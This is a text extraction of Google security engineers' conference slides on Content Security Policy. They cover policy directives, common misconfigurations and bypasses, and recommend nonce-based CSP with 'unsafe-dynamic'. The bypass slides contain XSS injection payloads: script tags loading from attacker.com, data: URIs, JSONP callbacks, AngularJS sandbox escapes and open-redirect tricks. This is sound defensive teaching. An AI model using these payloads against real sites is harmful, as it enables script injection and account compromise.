SlideShare a Scribd company logo

Breaking Bad CSP

•
•

This document discusses Content Security Policy (CSP) and strategies for implementing it effectively. It begins with an introduction to CSP and its goals of mitigating risk, reducing privileges, and detecting exploitation. It then covers common CSP policies, mistakes that can undermine security, and ways attacks can bypass CSP restrictions. The document proposes using strict nonce-based CSP with the 'unsafe-dynamic' feature to more easily deploy CSP without whitelists. It concludes with success stories of this approach and a call for feedback on CSP strategies.

1 of 29
Download to read offline
Michele Spagnuolo Lukas Weichselbaum eaking ad
We work in a special focus area of the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs. ABOUT US Michele Spagnuolo Information Security Engineer Lukas Weichselbaum Information Security Engineer
CONTENT What we’ll be talking about WHAT IS CSP01 WHAT’S IN A POLICY?02 COMMON MISTAKES03 BYPASSING CSP04 A NEW WAY OF DOING CSP05 THE FUTURE OF CSP06 SUCCESS STORIES07 Q & A08
SO WHAT IS CSP ? A tool developers can use to lock down their web applications in various ways. CSP is a defense-in-depth mechanism - it reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
5 GOALS OF CSP MITIGATE risk REDUCE PRIVILEGE of the application DETECT EXPLOITATION by monitoring violations Granular control over resources that can be requested, embedded and executed, execution of inline scripts, dynamic code execution (eval) and application of inline style. Sandbox not just iframes, but any resource, framed or not. The content is forced into a unique origin, preventing it from running scripts or plugins, submitting forms, etc... Find out when your application gets exploited, or behaves differently from how you think it should behave. By collecting violation reports, an administrator can be alerted and easily spot the bug. It’s pretty ambitious... CSP 2 specification: https://www.w3.org/TR/CSP/ CSP 3 draft: https://w3c.github.io/webappsec-csp/
6 It’s a HTTP header. Actually, two. child-src WHAT’S IN A POLICY? Content-Security-Policy: Content-Security-Policy-Report-Only: enforcing mode report-only mode default-src CSP directives Many, for many different problems. connect-src font-src frame-ancestors img-src media-src object-src plugin-types script-src style-src report-uri base-uri We’ll focus on script-src.
7 HOW DOES IT WORK? A policy in detail Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.com yep.com <img src="cat.png"> <script src="//yep. com/x.js"> CSP allows CSP allows
8 HOW DOES IT WORK? Script injections (XSS) get blocked Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.com yep.com attacker.com <img src="cat.png"> ">'><script>alert(42) </script> money.example.com/csp_violations_logger CSP blocks inline script not allowed <script src="//yep. com/x.js"> ">'><script src=" //attacker.com"> CSP blocks source not whitelisted CSP allows CSP allows DEMO
9 BUT... IT'S HARD TO DEPLOY Policies get less secure the longer they are. These are not strict... they allow 'unsafe-inline' (and 'unsafe-eval'). Even if they removed 'unsafe-inline' (or added a nonce), any JSONP endpoint on whitelisted domains/paths can be the nail in their coffin. In practice, in a lot of real-world complex applications CSP is just used for monitoring purposes, not as a defense-in-depth against XSS. Two examples from Twitter and GMail
10 COMMON MISTAKES [1/4] Trivial mistakes script-src 'self' 'unsafe-inline' ; object-src 'none'; 'unsafe-inline' in script-src (and no nonce) ">'><script>alert(1337)</script> Same for default-src, if there's no script-src directive. Bypass
11 COMMON MISTAKES [2/4] Trivial mistakes script-src 'self' https: data: * ; object-src 'none'; URL schemes or wildcard in script-src (and no 'unsafe-dynamic') ">'><script src=https://attacker.com/evil.js></script> Bypasses ">'><script src=data:text/javascript,alert(1337)></script> Same for URL schemes and wildcards in object-src.
12 COMMON MISTAKES [3/4] Less trivial mistakes script-src 'self'; Missing object-src or default-src directive ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain="})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object> Bypass It looks secure, right?
13 COMMON MISTAKES [4/4] Less trivial mistakes script-src 'self'; object-src 'none'; Allow 'self' + hosting user-provided content on the same origin Bypass ">'><script src="/user_upload/evil_cat.jpg.js"></script> Same for object-src.
14 BYPASSING CSP [1/5] Whitelist bypasses JSONP-like endpoint in whitelist ">'><script src="https://whitelisted.com/jsonp?callback=alert"> Bypass script-src 'self' https://whitelisted.com ; object-src 'none';
15 BYPASSING CSP [2/5] JSONP is a problem 1) You whitelist an origin/path hosting a JSONP endpoint. 2) Javascript execution is allowed, extent is depending on how liberal the JSONP endpoint is and what a user can control (just the callback function or also parameters). bypassable.com alert(1);u({...}) ">'><script src="https: //whitelisted.com/jsonp? callback=alert(1);u"> CSP allows A SOME* attack x.click({...})CSP allows Don't whitelist JSONP endpoints. Sadly, there are a lot of those out there. ...especially on CDNs! ">'><script src="https: //whitelisted.com/jsonp? callback=x.click"> * Same Origin Method Execution DEMO
16 BYPASSING CSP [3/5] Whitelist bypasses script-src 'self' https://whitelisted.com ; object-src 'none'; AngularJS library in whitelist Bypass "><script src="https://whitelisted.com/angular.min.js"></script> <div ng-app ng-csp>{{1336 + 1}}</div> Also works without user interaction, e.g. by combining with JSONP endpoints or other JS libraries. "><script src="https://whitelisted.com/angularjs/1.1.3/angular.min.js"> </script> <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
17 BYPASSING CSP [4/5] AngularJS is a problem 1) You whitelist an origin/path hosting a version of AngularJS with known sandbox bypasses. Or you combine it with outdated Prototype.js. Or JSONP endpoints. 2) The attacker can exploit those to achieve full XSS. For more bypasses in popular CDNs, see Cure53's mini- challenge. Powerful JS frameworks are a problem bypassable.com Sandbox bypass in AngularJSCSP allows ng-app ng-csp ng-click=$event.view.alert(1337)> <script src="//whitelisted.com/angular.js"></script> ng-app ng-csp> <script src="//whitelisted.com/angular.js"></script> <script src="//whitelisted.com/prototype.js"> </script>{{$on.curry.call().alert(1)}} Outdated Angular + outdated Prototype.js giving access to window CSP allows Don't use CSP in combination with CDNs hosting AngularJS.
18 BYPASSING CSP [5/5] Path relaxation Path relaxation due to open redirect in whitelist ">'><script src="https://site.with.redirect.com/redirect?url=https%3A//whitelisted.com/jsonp%2Fcallback%3Dalert"> Bypass script-src https://whitelisted.com/totally/secure.js https://site.with.redirect.com; object-src 'none'; ">'><script src="https://whitelisted.com/jsonp?callback=alert"> Path is ignored after redirect! money.example.com CSP allows whitelisted.comsite.with.redirect.com <script src="https://site.with. redirect.com/ redirect?url=https%3A//whitelisted. com/jsonp%2Fcallback%3Dalert" ></script> CSP allows Spec: "To avoid leaking path information cross-origin (as discussed in Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores path component of a source expression if the resource loaded is the result of a redirect." Path is ignored after redirect!
19 CSP EVALUATOR "A Tool to Rule Them All"
20 CSP Findings
21 A NEW WAY OF DOING CSP Strict nonce-based CSP Strict nonce-based policy script-src 'nonce-r4nd0m'; object-src 'none'; ● All <script> tags with the correct nonce attribute will get executed ● <script> tags injected via XSS will be blocked, because of missing nonce ● No host/path whitelists! ○ No bypasses because of JSONP-like endpoints on external domains (administrators no longer carry the burden of external things they can't control) ○ No need to go through the painful process of crafting and maintaining a whitelist Dynamically created scripts ● bar.js will not be executed ● Common pattern in libraries ● Hard to refactor libraries to pass nonces to second (and more)-level scripts Problem <script nonce="r4nd0m"> var s = document.createElement("script"); s.src = "//example.com/bar.js"; document.body.appendChild(s); </script>
22 HOW DO CSP NONCES WORK? A policy in detail Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; report-uri /csp_violation_logger; money.example.com money.example.com yep.com <img src="cat.png"> <script nonce="r4nd0m" src="//yep.com/x.js"> CSP allows CSP allows
23 HOW DO CSP NONCES WORK? Script injections (XSS) get blocked Content-Security-Policy default-src 'self'; script-src 'self' 'nonce-r4nd0m'; report-uri /csp_violation_logger; money.example.com money.example.com yep.com attacker.com <img src="cat.png"> ">'><script>alert(42) </script> money.example.com/csp_violations_logger CSP blocks script without correct nonce <script nonce="r4nd0m" src="//yep.com/x.js"> ">'><script src=" //attacker.com"> CSP blocks source neither nonced nor whitelisted CSP allows CSP allows DEMO
From the CSP3 specification The 'unsafe-dynamic' source expression aims to make Content Security Policy simpler to deploy for existing applications which have a high degree of confidence in the scripts they load directly, but low confidence in the possibility to provide a secure whitelist. If present in a script-src or default-src directive, together with a nonce and/or hashes, it has two main effects: 1) Discard whitelists (and 'unsafe- inline', if nonces are present in the policy) 2) Scripts created by non-parser- inserted (dynamically generated) script elements are allowed. EFFECTS OF 'unsafe-dynamic' THE SOLUTION Dynamic trust propagation with 'unsafe-dynamic' <script nonce="r4nd0m"> var s = document.createElement("script"); s.src = "//example.com/bar.js"; document.body.appendChild(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.write(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.body.innerHTML = s; </script> Parser inserted Parser inserted
25 A NEW WAY OF DOING CSP Introducing strict nonce-based CSP with 'unsafe-dynamic' Strict nonce-based CSP with 'unsafe-dynamic' and fallbacks for older browsers script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; ● nonce-r4nd0m - Allows all scripts to execute if the correct nonce is set. ● unsafe-dynamic - [NEW!] Propagates trust and discards whitelists. ● unsafe-inline - Discarded in presence of a nonce in newer browsers. Here to make script-src a no-op for old browsers. ● https: - Allow HTTPS scripts. Discarded if browser supports 'unsafe-dynamic'. Behavior in a CSP3 compatible browser DEMO
26 A NEW WAY OF DOING CSP Strict nonce-based CSP with 'unsafe-dynamic' and older browsers script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; Behavior in CSP3 compatible browserCSP2 compatible browser (nonce support) - No-op fallback script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; Behavior in CSP3 compatible browserCSP1 compatible browser (no nonce support) - No-op fallback script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; Dropped by CSP2 and above in presence of a nonce Dropped by CSP3 in presence of 'unsafe-dynamic' Behavior in CSP3 compatible browserCSP3 compatible browser (unsafe-dynamic support) script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none';
27 BROWSER SUPPORT Chromium / Chrome is the browser with the best support of CSP, even if it does not always follow the spec (with reasons). Firefox did not support child-srcand delivery of CSP via <meta>tag until March 2016 (version 45), still does not implement plugin-types and struggles with SharedWorkers. Webkit-based browsers (Safari, ...) very recently got nonce support. Microsoft Edge still fails several tests. Internet Explorer just supports the "sandbox" attribute. THE GOOD, THE OK, THE UGLY A fragmented environment :) :( Nonce support 'unsafe-dynamic' support
28 SUCCESS STORIES 'unsafe-dynamic' makes CSP easier to deploy and more secure Already deployed on several Google services, totaling 7M+ monthly active users. Works out of the box for: ● Google Maps APIs ● Google Charts APIs ● Facebook widget ● Twitter widget ● ReCAPTCHA ● . . . Test it yourself with Chrome 52+: https://csp-experiments.appspot.com/unsafe-dynamic
29 Q & A We would love to get your feedback! QUESTIONS? @mikispag @we1x #unsafedynamic {lwe,mikispag}@google.com

More Related Content

Breaking Bad CSP

  • 1. Michele Spagnuolo Lukas Weichselbaum eaking ad
  • 2. We work in a special focus area of the Google security team aimed at improving product security by targeted proactive projects to mitigate whole classes of bugs. ABOUT US Michele Spagnuolo Information Security Engineer Lukas Weichselbaum Information Security Engineer
  • 3. CONTENT What we’ll be talking about WHAT IS CSP01 WHAT’S IN A POLICY?02 COMMON MISTAKES03 BYPASSING CSP04 A NEW WAY OF DOING CSP05 THE FUTURE OF CSP06 SUCCESS STORIES07 Q & A08
  • 4. SO WHAT IS CSP ? A tool developers can use to lock down their web applications in various ways. CSP is a defense-in-depth mechanism - it reduces the harm that a malicious injection can cause, but it is not a replacement for careful input validation and output encoding.
  • 5. 5 GOALS OF CSP MITIGATE risk REDUCE PRIVILEGE of the application DETECT EXPLOITATION by monitoring violations Granular control over resources that can be requested, embedded and executed, execution of inline scripts, dynamic code execution (eval) and application of inline style. Sandbox not just iframes, but any resource, framed or not. The content is forced into a unique origin, preventing it from running scripts or plugins, submitting forms, etc... Find out when your application gets exploited, or behaves differently from how you think it should behave. By collecting violation reports, an administrator can be alerted and easily spot the bug. It’s pretty ambitious... CSP 2 specification: https://www.w3.org/TR/CSP/ CSP 3 draft: https://w3c.github.io/webappsec-csp/
  • 6. 6 It’s a HTTP header. Actually, two. child-src WHAT’S IN A POLICY? Content-Security-Policy: Content-Security-Policy-Report-Only: enforcing mode report-only mode default-src CSP directives Many, for many different problems. connect-src font-src frame-ancestors img-src media-src object-src plugin-types script-src style-src report-uri base-uri We’ll focus on script-src.
  • 7. 7 HOW DOES IT WORK? A policy in detail Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.com yep.com <img src="cat.png"> <script src="//yep. com/x.js"> CSP allows CSP allows
  • 8. 8 HOW DOES IT WORK? Script injections (XSS) get blocked Content-Security-Policy default-src 'self'; script-src 'self' yep.com; report-uri /csp_violation_logger; money.example.com money.example.com yep.com attacker.com <img src="cat.png"> ">'><script>alert(42) </script> money.example.com/csp_violations_logger CSP blocks inline script not allowed <script src="//yep. com/x.js"> ">'><script src=" //attacker.com"> CSP blocks source not whitelisted CSP allows CSP allows DEMO
  • 9. 9 BUT... IT'S HARD TO DEPLOY Policies get less secure the longer they are. These are not strict... they allow 'unsafe-inline' (and 'unsafe-eval'). Even if they removed 'unsafe-inline' (or added a nonce), any JSONP endpoint on whitelisted domains/paths can be the nail in their coffin. In practice, in a lot of real-world complex applications CSP is just used for monitoring purposes, not as a defense-in-depth against XSS. Two examples from Twitter and GMail
  • 10. 10 COMMON MISTAKES [1/4] Trivial mistakes script-src 'self' 'unsafe-inline' ; object-src 'none'; 'unsafe-inline' in script-src (and no nonce) ">'><script>alert(1337)</script> Same for default-src, if there's no script-src directive. Bypass
  • 11. 11 COMMON MISTAKES [2/4] Trivial mistakes script-src 'self' https: data: * ; object-src 'none'; URL schemes or wildcard in script-src (and no 'unsafe-dynamic') ">'><script src=https://attacker.com/evil.js></script> Bypasses ">'><script src=data:text/javascript,alert(1337)></script> Same for URL schemes and wildcards in object-src.
  • 12. 12 COMMON MISTAKES [3/4] Less trivial mistakes script-src 'self'; Missing object-src or default-src directive ">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain="})))}catch(e) {alert(1337)}//'> <param name="AllowScriptAccess" value="always"></object> Bypass It looks secure, right?
  • 13. 13 COMMON MISTAKES [4/4] Less trivial mistakes script-src 'self'; object-src 'none'; Allow 'self' + hosting user-provided content on the same origin Bypass ">'><script src="/user_upload/evil_cat.jpg.js"></script> Same for object-src.
  • 14. 14 BYPASSING CSP [1/5] Whitelist bypasses JSONP-like endpoint in whitelist ">'><script src="https://whitelisted.com/jsonp?callback=alert"> Bypass script-src 'self' https://whitelisted.com ; object-src 'none';
  • 15. 15 BYPASSING CSP [2/5] JSONP is a problem 1) You whitelist an origin/path hosting a JSONP endpoint. 2) Javascript execution is allowed, extent is depending on how liberal the JSONP endpoint is and what a user can control (just the callback function or also parameters). bypassable.com alert(1);u({...}) ">'><script src="https: //whitelisted.com/jsonp? callback=alert(1);u"> CSP allows A SOME* attack x.click({...})CSP allows Don't whitelist JSONP endpoints. Sadly, there are a lot of those out there. ...especially on CDNs! ">'><script src="https: //whitelisted.com/jsonp? callback=x.click"> * Same Origin Method Execution DEMO
  • 16. 16 BYPASSING CSP [3/5] Whitelist bypasses script-src 'self' https://whitelisted.com ; object-src 'none'; AngularJS library in whitelist Bypass "><script src="https://whitelisted.com/angular.min.js"></script> <div ng-app ng-csp>{{1336 + 1}}</div> Also works without user interaction, e.g. by combining with JSONP endpoints or other JS libraries. "><script src="https://whitelisted.com/angularjs/1.1.3/angular.min.js"> </script> <div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
  • 17. 17 BYPASSING CSP [4/5] AngularJS is a problem 1) You whitelist an origin/path hosting a version of AngularJS with known sandbox bypasses. Or you combine it with outdated Prototype.js. Or JSONP endpoints. 2) The attacker can exploit those to achieve full XSS. For more bypasses in popular CDNs, see Cure53's mini- challenge. Powerful JS frameworks are a problem bypassable.com Sandbox bypass in AngularJSCSP allows ng-app ng-csp ng-click=$event.view.alert(1337)> <script src="//whitelisted.com/angular.js"></script> ng-app ng-csp> <script src="//whitelisted.com/angular.js"></script> <script src="//whitelisted.com/prototype.js"> </script>{{$on.curry.call().alert(1)}} Outdated Angular + outdated Prototype.js giving access to window CSP allows Don't use CSP in combination with CDNs hosting AngularJS.
  • 18. 18 BYPASSING CSP [5/5] Path relaxation Path relaxation due to open redirect in whitelist ">'><script src="https://site.with.redirect.com/redirect?url=https%3A//whitelisted.com/jsonp%2Fcallback%3Dalert"> Bypass script-src https://whitelisted.com/totally/secure.js https://site.with.redirect.com; object-src 'none'; ">'><script src="https://whitelisted.com/jsonp?callback=alert"> Path is ignored after redirect! money.example.com CSP allows whitelisted.comsite.with.redirect.com <script src="https://site.with. redirect.com/ redirect?url=https%3A//whitelisted. com/jsonp%2Fcallback%3Dalert" ></script> CSP allows Spec: "To avoid leaking path information cross-origin (as discussed in Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores path component of a source expression if the resource loaded is the result of a redirect." Path is ignored after redirect!
  • 19. 19 CSP EVALUATOR "A Tool to Rule Them All"
  • 21. 21 A NEW WAY OF DOING CSP Strict nonce-based CSP Strict nonce-based policy script-src 'nonce-r4nd0m'; object-src 'none'; ● All <script> tags with the correct nonce attribute will get executed ● <script> tags injected via XSS will be blocked, because of missing nonce ● No host/path whitelists! ○ No bypasses because of JSONP-like endpoints on external domains (administrators no longer carry the burden of external things they can't control) ○ No need to go through the painful process of crafting and maintaining a whitelist Dynamically created scripts ● bar.js will not be executed ● Common pattern in libraries ● Hard to refactor libraries to pass nonces to second (and more)-level scripts Problem <script nonce="r4nd0m"> var s = document.createElement("script"); s.src = "//example.com/bar.js"; document.body.appendChild(s); </script>
  • 22. 22 HOW DO CSP NONCES WORK? A policy in detail Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; report-uri /csp_violation_logger; money.example.com money.example.com yep.com <img src="cat.png"> <script nonce="r4nd0m" src="//yep.com/x.js"> CSP allows CSP allows
  • 23. 23 HOW DO CSP NONCES WORK? Script injections (XSS) get blocked Content-Security-Policy default-src 'self'; script-src 'self' 'nonce-r4nd0m'; report-uri /csp_violation_logger; money.example.com money.example.com yep.com attacker.com <img src="cat.png"> ">'><script>alert(42) </script> money.example.com/csp_violations_logger CSP blocks script without correct nonce <script nonce="r4nd0m" src="//yep.com/x.js"> ">'><script src=" //attacker.com"> CSP blocks source neither nonced nor whitelisted CSP allows CSP allows DEMO
  • 24. From the CSP3 specification The 'unsafe-dynamic' source expression aims to make Content Security Policy simpler to deploy for existing applications which have a high degree of confidence in the scripts they load directly, but low confidence in the possibility to provide a secure whitelist. If present in a script-src or default-src directive, together with a nonce and/or hashes, it has two main effects: 1) Discard whitelists (and 'unsafe- inline', if nonces are present in the policy) 2) Scripts created by non-parser- inserted (dynamically generated) script elements are allowed. EFFECTS OF 'unsafe-dynamic' THE SOLUTION Dynamic trust propagation with 'unsafe-dynamic' <script nonce="r4nd0m"> var s = document.createElement("script"); s.src = "//example.com/bar.js"; document.body.appendChild(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.write(s); </script> <script nonce="r4nd0m"> var s = "<script "; s += "src=//example.com/bar.js></script>"; document.body.innerHTML = s; </script> Parser inserted Parser inserted
  • 25. 25 A NEW WAY OF DOING CSP Introducing strict nonce-based CSP with 'unsafe-dynamic' Strict nonce-based CSP with 'unsafe-dynamic' and fallbacks for older browsers script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; ● nonce-r4nd0m - Allows all scripts to execute if the correct nonce is set. ● unsafe-dynamic - [NEW!] Propagates trust and discards whitelists. ● unsafe-inline - Discarded in presence of a nonce in newer browsers. Here to make script-src a no-op for old browsers. ● https: - Allow HTTPS scripts. Discarded if browser supports 'unsafe-dynamic'. Behavior in a CSP3 compatible browser DEMO
  • 26. 26 A NEW WAY OF DOING CSP Strict nonce-based CSP with 'unsafe-dynamic' and older browsers script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; Behavior in CSP3 compatible browserCSP2 compatible browser (nonce support) - No-op fallback script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; Behavior in CSP3 compatible browserCSP1 compatible browser (no nonce support) - No-op fallback script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none'; Dropped by CSP2 and above in presence of a nonce Dropped by CSP3 in presence of 'unsafe-dynamic' Behavior in CSP3 compatible browserCSP3 compatible browser (unsafe-dynamic support) script-src 'nonce-r4nd0m' 'unsafe-dynamic' 'unsafe-inline' https:; object-src 'none';
  • 27. 27 BROWSER SUPPORT Chromium / Chrome is the browser with the best support of CSP, even if it does not always follow the spec (with reasons). Firefox did not support child-srcand delivery of CSP via <meta>tag until March 2016 (version 45), still does not implement plugin-types and struggles with SharedWorkers. Webkit-based browsers (Safari, ...) very recently got nonce support. Microsoft Edge still fails several tests. Internet Explorer just supports the "sandbox" attribute. THE GOOD, THE OK, THE UGLY A fragmented environment :) :( Nonce support 'unsafe-dynamic' support
  • 28. 28 SUCCESS STORIES 'unsafe-dynamic' makes CSP easier to deploy and more secure Already deployed on several Google services, totaling 7M+ monthly active users. Works out of the box for: ● Google Maps APIs ● Google Charts APIs ● Facebook widget ● Twitter widget ● ReCAPTCHA ● . . . Test it yourself with Chrome 52+: https://csp-experiments.appspot.com/unsafe-dynamic
  • 29. 29 Q & A We would love to get your feedback! QUESTIONS? @mikispag @we1x #unsafedynamic {lwe,mikispag}@google.com